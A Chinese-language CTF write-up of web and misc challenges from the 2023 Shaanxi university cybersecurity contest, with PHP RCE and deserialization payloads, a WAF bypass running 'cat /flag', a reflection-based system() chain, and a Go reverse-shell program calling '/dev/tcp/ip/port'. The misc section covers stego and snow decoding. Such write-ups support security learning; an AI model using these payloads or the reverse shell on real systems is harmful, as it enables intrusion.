2023年 第三届陕西省大学生网络安全技能大赛(本科高校组) web misc复现
前言
这次反应出我的缺点:
- 不够细心,ezpop进去后没有源码 以为是上neepu一样的源码泄露,没成功,然后扫了后台,一顿瞎操作,看了WP才发现是js中有一段base64,妈的,我真是纯出生,不够认真已经是老毛病了。
- 找到答案了没有能够仔细照payload进行 那个反序列化修改私有属性考反射的题目 我tm已经payload写的和答案几乎一样了,细节可能有问题,但是当时做题不知道为啥还是显示被waf 然后就放弃了 。。
妈的 这道题目真可惜
3.老是想象着把题目想的很复杂很难,可能一些题目需要很扎实的基本功吧。
WEB
ezrce
这道题目一眼丁真 和buu那个套娃一样 主要考的就是无参RCE,比较友好。
代码如上 偷的 复现没环境 很难受
自己写一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); echo "你是谁啊哥们?把钥匙给我!!!!<br/r>"; $key=$_GET['key']; $name=$_POST['name']; $qaq=$_POST['qaq']; if(isset($_GET['key'])){ highlight_file(__FILE__); } if(isset($name)){ echo "你是".$name."大人????<br/>"; $name1=preg_replace('/hahaha/e',$qaq,$name); echo "骗我的吧,你明明是 >>>>小小".$name1; } ?>
|
preg_replace() /e
模式可以代码执行
我的payload:name=hahaha&qaq=print_r(eval(array_pop(apache_request_headers())))
1
| apache_request_headers()`代替`getallheaders()
|
然后next 之类的移动指针都被waf了 用array_pop
bypass 也就是把数组中最后一个元素值弹出 我们bp抓包修改一下 其实还有其他移动指针的函数:each()prev()以及current()
但是都是指向当前由请求头组成数组的第一个元素 也就是host 这个改了网页就没法正常访问了 所以只能通过array_pop()
把最后一个修改了 记得当时是X-Real-Ip
看了大佬的WP 还有一种是参考https://xz.aliyun.com/t/9360 通过session_id()
来做的
paylaod:name=hahaha&qaq=show_source(session_id(session_start()));
然后抓包 Cookie: session_id=/flag
即可
ezpop
这个题进去没源码 以为是当时那个PHP <= 7.4.21远程源码泄露漏洞 https://cn-sec.com/archives/1530845.html
试了 无果 最后看他js中藏了一段base64 我眼瞎
但是tm谷歌浏览器他在源码中没显示出来 我操了 这不是我的锅啊 我日了
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php highlight_file(__FILE__);
class night { public $night;
public function __destruct(){ echo $this->night . '哒咩哟'; } }
class day { public $day;
public function __toString(){ echo $this->day->go(); }
public function __call($a, $b){ echo $this->day->getFlag(); } }
class light { public $light;
public function __invoke(){ echo $this->light->d(); } }
class dark { public $dark;
public function go(){ ($this->dark)(); }
public function getFlag(){ include(hacked($this->dark)); } }
function hacked($s) { if(substr($s, 0,1) == '/'){ die('呆jio步'); } $s = preg_replace('/\.\.*/', '.', $s); $s = urldecode($s); $s = htmlentities($s, ENT_QUOTES, 'UTF-8'); return strip_tags($s); }
$un = unserialize($_POST['pop']); throw new Exception('seino');
|
链子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class night { public $night; }
class day { public $day; }
class light { public $light; } class dark { public $dark; } $a=new night(); $a -> night=new day(); $a -> night ->day=new dark(); $a ->night ->day -> dark=new light(); $a -> night ->day ->dark -> light=new day(); $a ->night ->day ->dark ->light->day=new dark(); $a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag'; echo serialize($a); ?>
|
需要注意的点就是这里会过滤/flag 的第一个/
直接用伪协议读就可以了
其次就是throw new Exception('seino');
阻止我们的链子 其实考点就是fast destrcut
随便破坏链子的结构可以了 之前见过
payload:
1
| O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}
|
然后这里还有坑 发现传上去之后没用 用不了
然后这里复制代码到vscode才发现玄机
传参这里有unicode不可见字符 [U+2066]类似于这样的是控制文本显示方向的 没必要细究
然后传参肯定是这一坨 需要url编码一下
pyaload:%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop=O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}
test
进去是一个登录框 可以注册 然后登录 然后就会显示 hello 登录名
看到这里谁不会想到是ssti呢 但是这是一个幌子 然后在登陆页面看源码可以发现 /profile/index
啥也没有 当然如果真没用 他也不会特意设置 唉 我真是猪脑 然后可以访问/profile/admin
MD5解密 获得 admin的密码 asdfgh123
进去之后 看了大佬的wp 提示帮我们运行go文件
然后手写一个上传框 亮sensei给的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://15e46d8b.clsadp.com/Adm1nUp104d" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="uploadfilename" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
|
上传上去之后抓包将 name改为file
这里问后端java舍友说是因为后端可能存在一个名为file的变量来接受他 所以这里要改为file tql 终于明白了
因此 <input type="file" name="uploadfilename" id="file"><br>
中的name值不是固定的 要根据情况而定
然后上传go的反弹shell文件(偷的) 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package main
import ( "fmt" "log" "os/exec" )
func main() { cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n", string(out)) log.Fatalf("cmd.Run() failed with %s\n", err) } fmt.Printf("combined out:\n%s\n", string(out)) }
|
就可以了 真的tql
unserialize
这道题目很可惜 应该是出了的 通过反射来修改类的的私有属性
源码如下;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php highlight_file(__FILE__); header("Content-type:text/html;charset=utf-8"); require_once "waf.php"; error_reporting(0); class getFlag{ private $password; private $cmd; public function __destruct(){ if($this->password=="sectet" ) { system($this->cmd); } } }
$a = $_GET['a']; if(isset($_GET['a'])){ @eval(waf($a)); } ?>
|
看了大佬的WP 有个很简单的非预期
非预期
直接通过%0a 换行符进行bypass
payload:a=system%0a('cat /flag');
以后做题 %00 空字符 %20 空格符 %0a 换行符
这种非预期要多尝试
预期
草!!!!!!!!!!!!
这个题目 回过头再看我的payload是对的 只不过把sectet
拼成secret
不是 sectet是什么啊 我真服了 我一直当作secret在做题 md 我真无语了 sectet到底是出题人拼错了 还是有含义啊 我真服了
利用PHP反射来给私有属性赋值以及调用私有函数
参考这篇文章:分析的很细 https://juejin.cn/post/6844904148891074568
分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class getFlag{ private $password; private $cmd; private function display(){ echo $this->password; } } $get_flag = new getFlag(); $refClass = new ReflectionClass('getFlag'); $property = $refClass->getProperty('password'); $property->setAccessible(true); $property->setValue($get_flag, 'sectet'); $property = $refClass->getProperty('cmd'); $property->setAccessible(true); $property->setValue($get_flag, 'ls /'); var_dump($get_flag); ?>
private $password => string(6) "secret" private $cmd => string(4) "ls /" } a=$get_flag = new getFlag();$refClass = new ReflectionClass('getFlag');$property = $refClass->getProperty('password'); $property->setAccessible(true); $property->setValue($get_flag, 'sectet'); $property = $refClass->getProperty('cmd');$property->setAccessible(true);$property->setValue($get_flag, 'ls /');
|
Esc4pe_T0_Mong0
没源码 暂定
Misc
管道
一道关于图片隐写的题目 直接 zsteg -a 1.png|grep "flag"
可是雪啊飘进双眼
首先是一段音频和一个文本 然后拖进Audacity查看波形图 一段摩斯电码
上网查一下学习一下 得到.-- --- .- .. ... .... .- -. -..- ..
得到密文WOAISHANXI
但是还是没法解开加密的压缩包
然后还有一个文本 从名字上能看出是snow加密
在https://darkside.com.au/snow/下载一个脚本 输入刚才得到的密码 然后解密即可
1
| snow.exe -p WOAISHANXI -C snow.txt
|
得到
获得flag压缩包的密码
然后我这里binwalk抽风了 很奇怪 之前用的好好的 玛德
找到原因了 原来要用root运行在之后加上 --run-as=root
就可以了